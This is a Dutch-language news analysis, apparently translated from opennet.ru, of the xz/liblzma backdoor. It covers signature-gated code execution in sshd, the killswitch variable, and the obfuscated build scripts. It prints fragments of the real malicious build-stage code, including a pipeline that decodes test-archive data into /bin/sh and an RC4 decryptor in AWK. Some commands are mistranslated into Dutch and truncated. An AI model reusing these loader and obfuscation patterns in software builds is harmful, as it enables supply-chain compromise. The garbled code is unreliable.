Er zijn voorlopige resultaten beschikbaar van het reverse engineeren van een kwaadaardig objectbestand dat in liblzma was ingebed als resultaat van een campagne om een backdoor in het xz-pakket te implementeren. De backdoor heeft alleen invloed op x86_64-systemen die zijn gebaseerd op de Linux-kernel en de Glibc C-bibliotheek. In deze bibliotheek is een extra patch op sshd toegepast die is gekoppeld aan de libsystemd-bibliotheek ter ondersteuning van het sd_notify-mechanisme. Aanvankelijk werd aangenomen dat de backdoor het mogelijk zou maken om de authenticatie in sshd te omzeilen en via SSH toegang tot het systeem te krijgen. Uit een nadere analyse is gebleken dat dit niet het geval is en dat de backdoor de mogelijkheid biedt om willekeurige code in het systeem uit te voeren zonder sporen achter te laten in de sshd-logs.
In het bijzonder verifieert de door de achterdeur onderschepte RSA_public_decrypt-functie de handtekening van de host met behulp van de vaste sleutel Ed448, en voert, indien succesvol geverifieerd, de code uit die door de externe host is verzonden met behulp van de system()-functie in de fase voordat het sshd-proces de bevoegdheden opnieuw instelt. De gegevens met de uitvoeringscode worden geëxtraheerd uit de parameter “N” die wordt doorgegeven aan de functie RSA_public_decrypt (het veld “n” uit de rsa_st-structuur die de openbare sleutel bevat die door de externe host is verzonden), geverifieerd door de checksum en gedecodeerd met behulp van de vooraf gedefinieerde sleutel ChaCha20 in de pre-verificatiefase digitale handtekening Ed448.
Het standaardmechanisme voor host-sleuteluitwisseling wordt gebruikt als signaal voor het activeren van de backdoor in sshd. De backdoor maakt gebruik van het feit dat OpenSSH-certificaten de openbare sleutel bevatten van de persoon die de handtekening heeft gegenereerd, en reageert alleen op een sleutel die door de aanvaller is voorbereid en die overeenkomt met een vooraf bepaalde vaste Ed448-sleutel. Als de verificatie van de handtekening met de openbare sleutel mislukt of als de integriteit van de uitvoeringsgegevens niet wordt bevestigd, geeft de backdoor de controle terug aan de normale SSH-functies.
Omdat de persoonlijke sleutel van de aanvaller onbekend is, is het onmogelijk om een verificatiecode te implementeren waarmee buitenstaanders de backdoor kunnen activeren en een scanner kunnen implementeren voor gecompromitteerde hosts op het netwerk. De onderzoekers hebben een script voorbereid waarin de techniek wordt gedemonstreerd voor het vervangen van een openbare sleutel met willekeurige inhoud in een OpenSSH-certificaat dat door een SSH-client wordt verzonden. Deze sleutel wordt verwerkt in de RSA_public_decrypt-functie die door de backdoor wordt onderschept.
De onderzoekers merkten ook de aanwezigheid op van een structuur die de achterdeur (killswitch) op het lokale systeem neutraliseert als de omgevingsvariabele “yolAbejyiejuvnup=Evjtgvsh5okmkAvj” wordt ingesteld voordat sshd wordt gestart.
Daarnaast is het de moeite waard om de gedetailleerde analyse te bekijken van shell-constructies die worden gebruikt om het proces van het extraheren van het objectbestand met de backdoor en het vervangen ervan in de liblzma-bibliotheek te verdoezelen. Tijdens het samenstellen van het xz-pakket werd de code gestart vanuit het script build-to-host.m4. Hiermee werd het archief bad-3-corrupt_lzma2.xz tussen de testbestanden gevonden, werden enkele symbolen erin vervangen, werd het archief omgezet in een onbeschadigd archief en werd er een shellscript uit geëxtraheerd. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` … gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' gl_path_map='tr «\t \-_» » \t_\-«'
Het resulterende shell-script extraheert stukje bij beetje een ander shell-script uit de inhoud van het archief good-large_compressed.lzma, waarbij bepaalde sequenties met de opdrachten head en tail worden overgeslagen en tekens worden vervangen door de opdracht tr. ####Hallo#### # een paar binaire bytes hier, maar omdat het een opmerking is, worden ze genegeerd [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +2048 && (hoofd -c +1024 >/dev/null) && hoofd -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Wereld####
Hierdoor ontstond een vrij complex en omvangrijk shellscript, dat het bestand met de backdoor rechtstreeks uit het archief good-large_compressed.lzma haalde, decodeerde en in liblzma invoegde. Het script bevatte onder andere een implementatie van een pluginmechanisme waarmee aanvullende uitvoerbare componenten later konden worden aangeleverd door het plaatsen van nieuwe testarchieven, zonder dat good-large_compressed.lzma en bad-3-corrupt_lzma2.xz werden gewijzigd, maar met behulp van een handtekeningzoekopdracht. De code gebruikte ook een decryptor gebaseerd op het RC4-algoritme, geïmplementeerd in de AWK-taal: N=0 W=88664 anders N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | evaluatie $i | LC_ALL=C sed “s/\(.\)/\1\n/g” | LC_ALL=C awk 'BEGIN{FS=»\n»;RS=»\n»;ORS=»»;m=256;for(i=0;i /dev/null 7>&5) && hoofd -c +$W) > liblzma_la-crc0-fast.o || WAAR
Bron: opennet.ru
